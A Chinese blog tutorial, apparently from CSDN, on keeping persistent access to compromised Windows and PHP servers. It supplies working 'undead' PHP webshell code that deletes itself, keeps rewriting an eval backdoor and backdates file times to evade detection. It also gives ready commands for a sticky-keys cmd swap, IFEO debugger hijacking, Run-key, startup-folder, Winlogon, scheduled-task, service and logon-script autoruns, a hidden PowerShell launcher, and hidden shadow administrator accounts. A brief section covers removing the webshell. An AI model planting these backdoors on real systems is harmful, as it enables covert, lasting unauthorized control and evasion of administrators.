权限维持篇之Windows

Windows权限维持之php死马、映像劫持、策略组脚本 通过学习掌握Windows权限维持手段,提升在个人知识小技巧,更快的知晓权限维持的作用性。 阅读详情

1.不死马

<?php 
ignore_user_abort(true); //ignore_user_abort设置ture时即使客户机关闭浏览器,不会终止脚本的执行
set_time_limit(0); //设置脚本的最大执行时间,0代表无限制
unlink(__FILE__);   //删除文件本身      (隐藏的效果)
$file = './.index.php';   //生成的一句木马的文件名
$code = '<?php if(md5($_POST["pass"])=="e771c5bd0272757ce1a75fb6c35528cb"){@eval($_POST[v]);} ?>';
//通过判断用户传入的变量,然后转换成md5值和e10adc3949ba59abbe56e057f20f883e进行对比,如果e10adc3949ba59abbe56e057f20f883e解密出来的值和用户传入的值是一样的话,就继续执行@eval($_POST['ZYGS']),是不死马防止被别人利用的关键
//内容这个是可以改变的
//e771c5bd0272757ce1a75fb6c35528cb=dhskanf 马儿用法:fuckyou.php?pass=dhskanf&v=command
while (1){
	file_put_contents($file,$code);
	system('touch -m -d ""2018-12-01 09:10:12" .index.php');
	//touch -m 修改文件时间,让防守方无法通过find命令来找到不死马文件。
	usleep(1);
}
?>

争对条件竞争的变种

<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = 'c.php';
 $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
   //一句话木马base64加密<?php @eval($_POST[c]);?>
 while(true) {
     if(md5(file_get_contents($file))===md5($code)) {       
     //获得文件内容与参数code进行比较,条件判断
         file_put_contents($file, $code);
     }
     usleep(50);
 }
?>

1.2kill不死马

  1. 重启服务
  2. kill进程(不死马本身是以进程的形式运行的)
<?php
while (1) {
	$pid = 不死马的进程PID;
	@unlink(".ski12.php");
	exec("kill -9 $pid");
	usleep(1000);
}
?>
  1. 条件竞争(写入速度必须快于不死马自己创建的速度)
<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
while(1)
{     
    file_put_contents('shell.php','1111111');  //创建shell.php 
    usleep(0);    //间隔时间
}
?>

2.快捷键后门

Windows10 有一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
一些常见的辅助功能如:
C:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次 shift 键
C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键
C:\Windows\System32\Magnify.exe 放大镜 快捷键:Windows+加减号

方法:

最常见的验证方法就是将恶意程序的文件名换成上面的名字,然后使用对应的快捷键就可以调用了。举例cmd.exe。

move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak  # 备份sethc.exe
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe # 替换

可能会遇到的问题:
我在实现这个操作的时候会遇到需要TrustedInstaller权限的情况,解决方法就是打开这个文件的属性,然后在安全栏目里点击高级,然后再点击更改,再点击一次高级,进入之后点击立即查找,双击你有权限操作的用户就可以了。

3.映像劫持

原理
注册表路径IFEO(image file execution options)的exe程序被修改,然后进行重定向执行后门程序的过程需要管理员权限。

方法一:注册表修改Debugger值

运行某exe程序时候,系统会在注册表image file execution option中寻找是否存在exe的项。
存在则寻找该项中Debugger的字符串值,找到则启动debugger值对应的程序,如果没有也可以自己创建然后将后门exe文件的完整路径传递给debugger程序。
所以我们将Debugger对应的程序改为后门即可运行。

cmd输入regedit打开注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
新建一个项test.exe(test可以改为其他名字),然后再创建一个子键Debugger(里面值就是你的shell路径)。最后在找到一个exe文件改名为test双击运行就会运行Debugger里填写路径里的程序。(如果本来不是exe可执行文件会报错)在这里插入图片描述

方法二:命令行修改

c:\windows\system32\xxx.exe为恶意程序路径

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d `"c:\windows\system32\xxx.exe" /f`

3.启动项

3.1组策略启动项

gpedit.msc上打开组策略,在Windows设置选项上有个脚本(启动/关机)选项,添加bat文件即可,如以下代码开机会执行该bat文件,该bat文件的作用是执行shell.ps1木马程序。

@echo off
powershell.exe ­-w hidden ­-ExecutionPolicy Bypass ­-NoExit ­-File C:\Users\Administart\Desktop\shell.ps1
exit

在这里插入图片描述

3.2 文件夹启动项

直接将bat文件放在这些目录下

C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级普通权限

3.3注册表启动(win+r输入regedit)

HKEY_LOCAL_MACHINE类

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

HKEY_CURRENT_USER类,不需要管理员权限

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

其中RunOnce 注册键:用户登录时,所有程序按顺序自动执行,在 Run 启动项之前执行,但只能运行一次,执行完毕后会自动删除

方法

可以直接在对应的注册表键值下添加恶意程序路径,也可以在命令行添加。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\Administart\Desktop\shell.exe"

4.影子账户

为什么要建立影子账户?
新建普通用户–>隐藏用户–>影子用户
net user ,计算机管理,注册表都可以看到–>只是cmd看不到–>只有注册表可以看到
所以建立影子用户会让管理员查看账户难度变高

方法

新建一个隐藏用户(用户名后加上$符)
net user test2$ 123456 /add
regedit打开注册表,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/选项(SAM文件夹需要管理员权限才可以查看),在Names中找到你的账户与administrator记下右侧值然后去上面寻找对应项,点开administrator双击F复制其中内容,粘贴到你的账户对应的F的项里保存,最后将Names你的账户以及上面对应的项导出,cmd删除你的账户,在双击导出两个文件完成影子用户创建。(也可以直接创建一个管理员的隐藏账户然后直接导出)
在这里插入图片描述

6.winlogon userinit(用户登录初始化后门)

注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的作用是指定用户登录时 Winlogon 运行的程序。默认情况下,Winlogon 会运行 Userinit.exe(运行登录脚本)userinit的作用是用户在进行登录初始化设置时,winlogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加要执行的程序。

方法

1.直接注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的添加userinit值,以 , 分开。
2.命令行实现:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\Users\admin\Documents\backdoor.exe"

7.计划任务

Windows实现定时任务主要有schtasks与at二种方式:
At 适用于windows xp/2003,schtasks适用于win7/2008或者以后
#每天的16:34启动后门程序

schtasks /Create /TN badcode /SC DAILY /ST 16:49 /TR "C:\Users\admin\Documents\backdoor.exe"
at 16:34 /every:M,T,W,Th,F,S,Su C:\ZhiArchive\backdoor.exe 

8.服务自启动

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将 exe 文件注册为服务,也可以将 dll 文件注册为服务。

针对服务的操作,涉及到一条命令sc。其可以更改服务的属性、启动状态,删除或停止服务。

#创建名为test的服务(注意等号后面有空格),设置自启动,启动权限为system
sc create test binpath= C:\Users\Administrator\Desktop\poc.exe start= auto obj= Localsystem
#启动服务
et start test
#查询服务
sc query test
#删除服务
sc delete test

但通过这个方法启动exe后过几秒服务会停止运行。因为服务运行的exe不符合规范则会停止运行服务。此时我们需要对进程进行迁移,才会不掉线。也可以通过以下方法创建合法服务。
instsrv.exe.exe 和 srvany.exe 是 Microsoft Windows Resource Kits 工具集中 的两个实用工具,这两个工具配合使用可以将任何的 exe 应用程序作为 window 服务运行。srany.exe 是注册程序的服务外壳,可以通过它让应用程序以 system 账号启动,可以使应用程序作为 windows 的服务随机器启动而自动启动,从而隐藏不必要的窗口。

将 instsrv.exe 和 srvany.exe 拷贝到C:\WINDOWS\SysWOW64目录下,然后在 cmd 中先切换到C:\WINDOWS\SysWOW64目录,再运行命令

instsrv  test C:\WINDOWS\SysWOW64\srvany.exe

在修改注册表

 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /f  #创建键值
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /v AppDirectory /t REG_SZ /d "C:\Users\admin\Documents" /f  # 后门路径
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /v Application /t REG_SZ /d "C:\Users\admin\Documents\backdoor.exe" /f  #后门程序

9.logon scripts 后门

Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表位置:HKEY_CURRENT_USER\Environment

REG ADD “HKEY_CURRENT_USER\Environment” /v UserInitMprLogonScript /t REG_SZ /d “C:\Users\Administrator\Desktop\poc.exe”
用户一登录成功执行poc.exe

参考

权限维持(什么是后门?如何留后门?)-Windows (゚益゚メ) 渗透测试 来看看如何做开机自启!我们渗透一定要持久! 阅读详情

相关推荐

轻松玩转WEB安全

本课程会介绍web安全基础知识,通过实际操作解释技术原理,巩固学习成果。模拟多种实战场景,结合技术讲解,传授对抗WAF的经验,定制自己的免杀webshell,带你深刻理解同实战下的渗透思路。对技术要点进行总结,并且介绍自己的奇淫技巧,发现新的漏洞挖掘技术方向,帮助各位同学高效挖洞获取奖金。

debug调试,注册表

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hello.exe] "GlobalFlag"="x02200000" "PageHeapFlags"="0x3" "VerifierFlags"=dword:00000001

dubuyunduan85的专栏 897

VSCODE上ckg_server_linux进程占用CPU过多

每次一打开VSCODE,ckg_server_linux进程就启动了,并且一直运行,且占用CPU过高;主要原因还是我打开的文件夹太大了,marscode应该是有自动索引搜索之类的功能;本地搜索了一下,发现是 marscode插件影响的;禁用marscode之后再重新打开VSCODE就好了。推测应该是某个插件的问题导致的;

dujunqiu的博客 2313

实验一——病毒注册表操作

【实验内容】 (1)强制隐藏.exe文件的扩展名 刚开始应用程序的exe扩展名都是可见的 1、注册表项:HKEY_CLASS_ROOT\exefile, 2、新建字符串值:取名为NeverShowExt。 用Mytool工具: 直接在注册表中添加 3、重启计算机 重启之后,所有exe文件的扩展名都被隐藏。 (2)隐藏“文件夹选项”子菜单项 刚开始“文件夹选项”子菜单选项是可以用的 1、注册表项\HKEY_CURRENT_USER\Software\Microsoft\Windows\Current

Onlyone_1314的博客 9518

权限维持---Windows权限维持--隐藏

权限维持Windows权限维持–隐藏 文章目录权限维持---Windows权限维持--隐藏前言一、隐藏文件二、隐藏账号三、端口复用四、进程注入五、结束六、我的公众号 前言 攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之易被管理员发现。 一、隐藏文件 1、利用文件属性最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看到刚刚的文件了。 如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

永不垂头的博客 1603

第1Windows权限维持----应急响应之权限维持

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之易被管理员发现。

星河梦瑾的博客 1384

Windows权限维持之账户隐藏

windows操作系统中攻击者可以通过创建隐藏账户来实现权限维持的目的,由于创建的隐藏账户无法通过命令行或者图形化界面的方式被检索到,所以此类权限维持的方式极为隐蔽,本文章将对隐藏账户的创建方式和检索方式进行复现。

Fly_鹏程万里 1225

应急响应实战笔记——权限维持:② Windows 权限维持&后门

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

君逍遥o 1126

第2Windows权限维持----应急响应之权限维持

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

星河梦瑾的博客 939

应急响应:Windows权限维持--隐藏

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之易被管理员发现。

鹿鸣天涯 799

应急响应实战笔记——权限维持:① Windows权限维持&隐藏

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之易被管理员发现。

君逍遥o 1285

应急响应:Windows权限维持--后门

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

鹿鸣天涯 1153

应急响应之Windows权限维持--隐藏

前言 攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之易被管理员发现。 1、 隐藏文件 1、利用文件属性 最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看到刚刚的文件了。 如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。 如何真正隐藏文件? 使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。 attrib +s +a

明哥哥知识分享 1224

116.网络安全渗透测试—[权限提升14]—[Windows 2003 Metasploit提权&权限维持&开启3389]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。 【图略】#键入 启动 metasploit #进入监听模块 #查看系统信息 #查看进程 pid #迁移进程 #当前用户

qwsn 2992

WEB渗透权限维持-禁用Windows事件日志

从上面的屏幕截图中,尚清楚哪个进程真正托管了该服务,但是如果我们继续在Process Hacker中逐个检查进程,我们最终将找到托管该服务的进程,当前为pid 2196:EventLog svchost.exe

qq_59468567的博客 708

WEB渗透权限维持-隐藏windows服务

Translate from: https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ Windows的一个功能允许红队或攻击者将服务隐藏起来,从而为逃避基于主机的常见威胁搜寻技术的检测提供了机会。 这里假设Fax服务是我们的恶意文件或后门 打开services.msc可以看到服务

qq_59468567的博客 592

vb6编写用户权限_服务器权限维持 Windows

前言对于后渗透阶段权限维持还是比较重要的一个环节,所以想总结一下在 Windows 、Linux 、 Webshell 下权限维持的姿势,并试着编写出后门检测脚本。文章内有错误的地方还请表哥们指出谢谢。List账户隐藏注册表开机自动启动项DLL劫持计划任务文件夹启动映像劫持RID 劫持快捷方式劫持辅助功能权限维持权限维持辅助脚本编写0x1 账户隐藏1.1 隐藏用户net user adm...

weixin_39989688的博客 370

从入门到精通:Windows系统权限维持技术深度剖析​,收藏这就够了!

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。在用户进行登陆时,winlogon运行指定的程序。

weixin_51725318的博客 986
上一篇: Windows提权之Mssql(sql server)数据库提权(xp_cmdshell提权)
下一篇: 常见中间件漏洞
mrx56
博客等级 码龄7年 59粉丝 17原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值